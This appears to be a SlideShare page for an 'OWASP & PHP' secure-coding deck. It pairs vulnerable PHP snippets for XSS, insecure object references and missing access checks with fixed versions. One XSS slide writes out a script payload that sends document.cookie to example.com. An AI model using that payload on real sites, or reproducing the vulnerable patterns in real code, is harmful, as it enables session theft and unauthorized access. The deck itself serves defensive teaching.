Owasp & php

Ahmed Kamel Taha
Ahmed Kamel TahaArtificial Intelligence Quantitative Researcher à arab academy for science and technology
OWASP & PHP
A3 – Cross-Site Scripting (XSS)
2
● Whenever untrusted data is sent to the
browser without proper validation and
escaping!
● XSS allows the attacker to OWN the
victims browser and do ... everything!
● Stored, Reflected and DOM based
XSS
A3 – steal user cookie
3
<?php
// page prune to XSS
// script.php?search=hello
$results = some_search_function($_REQUEST['search']);
?>
<html>
<body>
<p>results for : <?= $_REQUEST['search']; ?>
<?=render_results($results); ?>
</body>
</html>
// set search to: "<script>document.location='http://www.example.com/precious_cookie
?cookie='+document.cookie</script>"
<?php
// page prune to XSS
// script.php?search=hello
$results = some_search_function($_REQUEST['search']);
?>
<html>
<body>
<p>results for : <?=
htmlentities($_REQUEST['search'],ENT_COMPAT|ENT_HTML401,'UTF-8'); ?>
<?=render_results($results); ?>
</body>
</html>
A4 – Insecure Direct Object Reference
4
● Whenever developer exposes
references to internal objects and don't
have proper access control.
● Attackers can change the references
and access resources that shouldn't be
accessible.
A4 – Access other user account
5
<?php
// prune to insecure direct reference
// script.php?account=10
$accountId =
intval($_REQUEST['account']);
$account = new Account($accountId); echo
render_account_info($account);
// and if I change account to "9" ?
<?php
// script.php?account=10
$user = new User($_SESSION['userInfo']);
$accountId =
intval($_REQUEST['account']);
$account = new Account($accountId); if (
$account->canRead($user)) {
echo render_account_info($account);
} else {
echo "Access denied";
}
A5 – Security Misconfiguration
6
● Often fails in securing the full stack
leads to application / servers being
compromised.
● Take into consideration other services /
applications running in the same
infrastructure
● Watch out for outdated software
● Watch out for default accounts
A7 – Missing Function Level Access Control
7
● Most applications validate function
based access control before displaying
options in UI, but fail to validate when
the function is accessed.
● Attacker can forge request to functions
that shouldn't be available
A7 – insecure function
8
<?php
// prune to insecure function
access
// script.php?user=john&action=read
$userId
$action
$user
=
= $_REQUEST['user'];
=
$_REQUEST['action'];
newUser($userId);
switch($action) { case 'read':
echo render_user($user); break;
case 'delete':
$user->delete(); echo "user
Deleted"; break;
}
// and if I change action to
"delete"?
<?php
$userId =
$_REQUEST['user'];
$action =
$_REQUEST['action'];
$loggedUser = new
AppUser($_SESSION['userInfo']);$user = new User($userId); switch($action) {
case 'read':
if ( $user->canRead($loggedUser) ){
echo render_user($user);
}
break; case 'delete':
if ( $user->canDelete($loggedUser) ){
$user->delete(); echo "user Deleted";
}
break;
}
A9 – Using Components with know Vulnerabilities
9
● Whenever you use libraries,
frameworks, or other software modules
with known vulnerabilities.
● Attackers can leverage this issues to
attack your application / server / etc.
Thank you
1 sur 10

Recommandé

SPTechCon Boston 2015 - Whither SPServices? par
SPTechCon Boston 2015 - Whither SPServices?SPTechCon Boston 2015 - Whither SPServices?
SPTechCon Boston 2015 - Whither SPServices?Marc D Anderson
317 vues13 diapositives
17. CodeIgniter login simplu cu sesiuni par
17. CodeIgniter login simplu cu sesiuni17. CodeIgniter login simplu cu sesiuni
17. CodeIgniter login simplu cu sesiuniRazvan Raducanu, PhD
51 vues8 diapositives
1から始めるAMP対応 par
1から始めるAMP対応1から始めるAMP対応
1から始めるAMP対応Kasumi Morita
562 vues18 diapositives
Php if par
Php ifPhp if
Php ifnurhardianti98
11 vues2 diapositives
History frame par
History frameHistory frame
History framewoodsend17
174 vues1 diapositive
a-blog cms でAMPに対応する par
a-blog cms でAMPに対応するa-blog cms でAMPに対応する
a-blog cms でAMPに対応するKasumi Morita
1.1K vues32 diapositives

Contenu connexe

Tendances

Fw1 par
Fw1Fw1
Fw1priyaamal
10 vues1 diapositive
Inline par
InlineInline
Inlineekeoguob
143 vues1 diapositive
Eu odeio OpenSocial par
Eu odeio OpenSocialEu odeio OpenSocial
Eu odeio OpenSocialCarlos Brando
500 vues35 diapositives
Codeigniter : Custom Routing - Manipulate Uri par
Codeigniter : Custom Routing - Manipulate UriCodeigniter : Custom Routing - Manipulate Uri
Codeigniter : Custom Routing - Manipulate UriAbdul Malik Ikhsan
26.7K vues12 diapositives
Trabajo par
TrabajoTrabajo
TrabajoEdwin Hoyos
77 vues1 diapositive
Binary Studio Academy 2016: Laravel Controllers par
Binary Studio Academy 2016: Laravel ControllersBinary Studio Academy 2016: Laravel Controllers
Binary Studio Academy 2016: Laravel ControllersBinary Studio
272 vues6 diapositives

Tendances(20)

Codeigniter : Custom Routing - Manipulate Uri par Abdul Malik Ikhsan
Codeigniter : Custom Routing - Manipulate UriCodeigniter : Custom Routing - Manipulate Uri
Codeigniter : Custom Routing - Manipulate Uri
Abdul Malik Ikhsan26.7K vues
Binary Studio Academy 2016: Laravel Controllers par Binary Studio
Binary Studio Academy 2016: Laravel ControllersBinary Studio Academy 2016: Laravel Controllers
Binary Studio Academy 2016: Laravel Controllers
Binary Studio272 vues
AngularJS Routing par Eyal Vardi
AngularJS RoutingAngularJS Routing
AngularJS Routing
Eyal Vardi10.1K vues
Infinum Android Talks #16 - How to shoot your self in the foot by Dino Kovac par Infinum
Infinum Android Talks #16 - How to shoot your self in the foot by Dino KovacInfinum Android Talks #16 - How to shoot your self in the foot by Dino Kovac
Infinum Android Talks #16 - How to shoot your self in the foot by Dino Kovac
Infinum236 vues
Infinum Android Talks #16 - App Links by Ana Baotic par Infinum
Infinum Android Talks #16 - App Links by Ana BaoticInfinum Android Talks #16 - App Links by Ana Baotic
Infinum Android Talks #16 - App Links by Ana Baotic
Infinum352 vues
Dart and AngularDart par Loc Nguyen
Dart and AngularDartDart and AngularDart
Dart and AngularDart
Loc Nguyen1K vues
Angular Promises and Advanced Routing par Alexe Bogdan
Angular Promises and Advanced RoutingAngular Promises and Advanced Routing
Angular Promises and Advanced Routing
Alexe Bogdan3.2K vues

Similaire à Owasp & php

OWASP TOP 10 for PHP Programmers par
OWASP TOP 10 for PHP ProgrammersOWASP TOP 10 for PHP Programmers
OWASP TOP 10 for PHP Programmersrjsmelo
11.7K vues31 diapositives
Intro to Php Security par
Intro to Php SecurityIntro to Php Security
Intro to Php SecurityDave Ross
8.9K vues30 diapositives
Security: Odoo Code Hardening par
Security: Odoo Code HardeningSecurity: Odoo Code Hardening
Security: Odoo Code HardeningOdoo
778 vues49 diapositives
Evolution Of Web Security par
Evolution Of Web SecurityEvolution Of Web Security
Evolution Of Web SecurityChris Shiflett
12.9K vues63 diapositives
OWASP Top 10 - DrupalCon Amsterdam 2019 par
OWASP Top 10 - DrupalCon Amsterdam 2019OWASP Top 10 - DrupalCon Amsterdam 2019
OWASP Top 10 - DrupalCon Amsterdam 2019Ayesh Karunaratne
137 vues102 diapositives
Client side par
Client sideClient side
Client sideМихаил Фирстов
444 vues32 diapositives

Similaire à Owasp & php(20)

OWASP TOP 10 for PHP Programmers par rjsmelo
OWASP TOP 10 for PHP ProgrammersOWASP TOP 10 for PHP Programmers
OWASP TOP 10 for PHP Programmers
rjsmelo11.7K vues
Intro to Php Security par Dave Ross
Intro to Php SecurityIntro to Php Security
Intro to Php Security
Dave Ross8.9K vues
Security: Odoo Code Hardening par Odoo
Security: Odoo Code HardeningSecurity: Odoo Code Hardening
Security: Odoo Code Hardening
Odoo778 vues
The top 10 security issues in web applications par Devnology
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applications
Devnology13.4K vues
4 andrii kudiurov - web application security 101 par Ievgenii Katsan
4   andrii kudiurov - web application security 1014   andrii kudiurov - web application security 101
4 andrii kudiurov - web application security 101
Ievgenii Katsan194 vues
Using Geeklog as a Web Application Framework par Dirk Haun
Using Geeklog as a Web Application FrameworkUsing Geeklog as a Web Application Framework
Using Geeklog as a Web Application Framework
Dirk Haun894 vues
Secure PHP Coding - Part 2 par Vinoth Kumar
Secure PHP Coding - Part 2Secure PHP Coding - Part 2
Secure PHP Coding - Part 2
Vinoth Kumar281 vues
10 Things Every Plugin Developer Should Know (WordCamp Atlanta 2013) par arcware
10 Things Every Plugin Developer Should Know (WordCamp Atlanta 2013)10 Things Every Plugin Developer Should Know (WordCamp Atlanta 2013)
10 Things Every Plugin Developer Should Know (WordCamp Atlanta 2013)
arcware4.2K vues

Plus de Ahmed Kamel Taha

Beyond vegetarianism par
Beyond vegetarianismBeyond vegetarianism
Beyond vegetarianismAhmed Kamel Taha
112 vues52 diapositives
5 spy devices par
5 spy devices5 spy devices
5 spy devicesAhmed Kamel Taha
64 vues3 diapositives
5 spy software par
5 spy software5 spy software
5 spy softwareAhmed Kamel Taha
27 vues3 diapositives
PRINCIPLES OF SOFTWARE ARCHITECTURE par
PRINCIPLES OF SOFTWARE ARCHITECTUREPRINCIPLES OF SOFTWARE ARCHITECTURE
PRINCIPLES OF SOFTWARE ARCHITECTUREAhmed Kamel Taha
38 vues7 diapositives
Owasp & php par
Owasp & phpOwasp & php
Owasp & phpAhmed Kamel Taha
21 vues15 diapositives
Exam quistions par
Exam quistionsExam quistions
Exam quistionsAhmed Kamel Taha
50 vues3 diapositives

Plus de Ahmed Kamel Taha(19)

Software Requirements (3rd Edition) summary par Ahmed Kamel Taha
Software Requirements (3rd Edition) summarySoftware Requirements (3rd Edition) summary
Software Requirements (3rd Edition) summary
Ahmed Kamel Taha2.8K vues
[Software Requirements] Chapter 20: Agile Projects par Ahmed Kamel Taha
[Software Requirements] Chapter 20: Agile Projects [Software Requirements] Chapter 20: Agile Projects
[Software Requirements] Chapter 20: Agile Projects
Ahmed Kamel Taha266 vues

Dernier

JioEngage_Presentation.pptx par
JioEngage_Presentation.pptxJioEngage_Presentation.pptx
JioEngage_Presentation.pptxadmin125455
8 vues4 diapositives
Introduction to Git Source Control par
Introduction to Git Source ControlIntroduction to Git Source Control
Introduction to Git Source ControlJohn Valentino
7 vues18 diapositives
The Era of Large Language Models.pptx par
The Era of Large Language Models.pptxThe Era of Large Language Models.pptx
The Era of Large Language Models.pptxAbdulVahedShaik
7 vues9 diapositives
EV Charging App Case par
EV Charging App Case EV Charging App Case
EV Charging App Case iCoderz Solutions
9 vues1 diapositive
Using Qt under LGPL-3.0 par
Using Qt under LGPL-3.0Using Qt under LGPL-3.0
Using Qt under LGPL-3.0Burkhard Stubert
13 vues11 diapositives
Bootstrapping vs Venture Capital.pptx par
Bootstrapping vs Venture Capital.pptxBootstrapping vs Venture Capital.pptx
Bootstrapping vs Venture Capital.pptxZeljko Svedic
15 vues17 diapositives

Dernier(20)

JioEngage_Presentation.pptx par admin125455
JioEngage_Presentation.pptxJioEngage_Presentation.pptx
JioEngage_Presentation.pptx
admin1254558 vues
Bootstrapping vs Venture Capital.pptx par Zeljko Svedic
Bootstrapping vs Venture Capital.pptxBootstrapping vs Venture Capital.pptx
Bootstrapping vs Venture Capital.pptx
Zeljko Svedic15 vues
Unlocking the Power of AI in Product Management - A Comprehensive Guide for P... par NimaTorabi2
Unlocking the Power of AI in Product Management - A Comprehensive Guide for P...Unlocking the Power of AI in Product Management - A Comprehensive Guide for P...
Unlocking the Power of AI in Product Management - A Comprehensive Guide for P...
NimaTorabi216 vues
2023-November-Schneider Electric-Meetup-BCN Admin Group.pptx par animuscrm
2023-November-Schneider Electric-Meetup-BCN Admin Group.pptx2023-November-Schneider Electric-Meetup-BCN Admin Group.pptx
2023-November-Schneider Electric-Meetup-BCN Admin Group.pptx
animuscrm15 vues
Top-5-production-devconMunich-2023-v2.pptx par Tier1 app
Top-5-production-devconMunich-2023-v2.pptxTop-5-production-devconMunich-2023-v2.pptx
Top-5-production-devconMunich-2023-v2.pptx
Tier1 app6 vues
predicting-m3-devopsconMunich-2023.pptx par Tier1 app
predicting-m3-devopsconMunich-2023.pptxpredicting-m3-devopsconMunich-2023.pptx
predicting-m3-devopsconMunich-2023.pptx
Tier1 app8 vues
FIMA 2023 Neo4j & FS - Entity Resolution.pptx par Neo4j
FIMA 2023 Neo4j & FS - Entity Resolution.pptxFIMA 2023 Neo4j & FS - Entity Resolution.pptx
FIMA 2023 Neo4j & FS - Entity Resolution.pptx
Neo4j17 vues

Owasp & php

  • 2. A3 – Cross-Site Scripting (XSS) 2 ● Whenever untrusted data is sent to the browser without proper validation and escaping! ● XSS allows the attacker to OWN the victims browser and do ... everything! ● Stored, Reflected and DOM based XSS
  • 3. A3 – steal user cookie 3 <?php // page prune to XSS // script.php?search=hello $results = some_search_function($_REQUEST['search']); ?> <html> <body> <p>results for : <?= $_REQUEST['search']; ?> <?=render_results($results); ?> </body> </html> // set search to: "<script>document.location='http://www.example.com/precious_cookie ?cookie='+document.cookie</script>" <?php // page prune to XSS // script.php?search=hello $results = some_search_function($_REQUEST['search']); ?> <html> <body> <p>results for : <?= htmlentities($_REQUEST['search'],ENT_COMPAT|ENT_HTML401,'UTF-8'); ?> <?=render_results($results); ?> </body> </html>
  • 4. A4 – Insecure Direct Object Reference 4 ● Whenever developer exposes references to internal objects and don't have proper access control. ● Attackers can change the references and access resources that shouldn't be accessible.
  • 5. A4 – Access other user account 5 <?php // prune to insecure direct reference // script.php?account=10 $accountId = intval($_REQUEST['account']); $account = new Account($accountId); echo render_account_info($account); // and if I change account to "9" ? <?php // script.php?account=10 $user = new User($_SESSION['userInfo']); $accountId = intval($_REQUEST['account']); $account = new Account($accountId); if ( $account->canRead($user)) { echo render_account_info($account); } else { echo "Access denied"; }
  • 6. A5 – Security Misconfiguration 6 ● Often fails in securing the full stack leads to application / servers being compromised. ● Take into consideration other services / applications running in the same infrastructure ● Watch out for outdated software ● Watch out for default accounts
  • 7. A7 – Missing Function Level Access Control 7 ● Most applications validate function based access control before displaying options in UI, but fail to validate when the function is accessed. ● Attacker can forge request to functions that shouldn't be available
  • 8. A7 – insecure function 8 <?php // prune to insecure function access // script.php?user=john&action=read $userId $action $user = = $_REQUEST['user']; = $_REQUEST['action']; newUser($userId); switch($action) { case 'read': echo render_user($user); break; case 'delete': $user->delete(); echo "user Deleted"; break; } // and if I change action to "delete"? <?php $userId = $_REQUEST['user']; $action = $_REQUEST['action']; $loggedUser = new AppUser($_SESSION['userInfo']);$user = new User($userId); switch($action) { case 'read': if ( $user->canRead($loggedUser) ){ echo render_user($user); } break; case 'delete': if ( $user->canDelete($loggedUser) ){ $user->delete(); echo "user Deleted"; } break; }
  • 9. A9 – Using Components with know Vulnerabilities 9 ● Whenever you use libraries, frameworks, or other software modules with known vulnerabilities. ● Attackers can leverage this issues to attack your application / server / etc.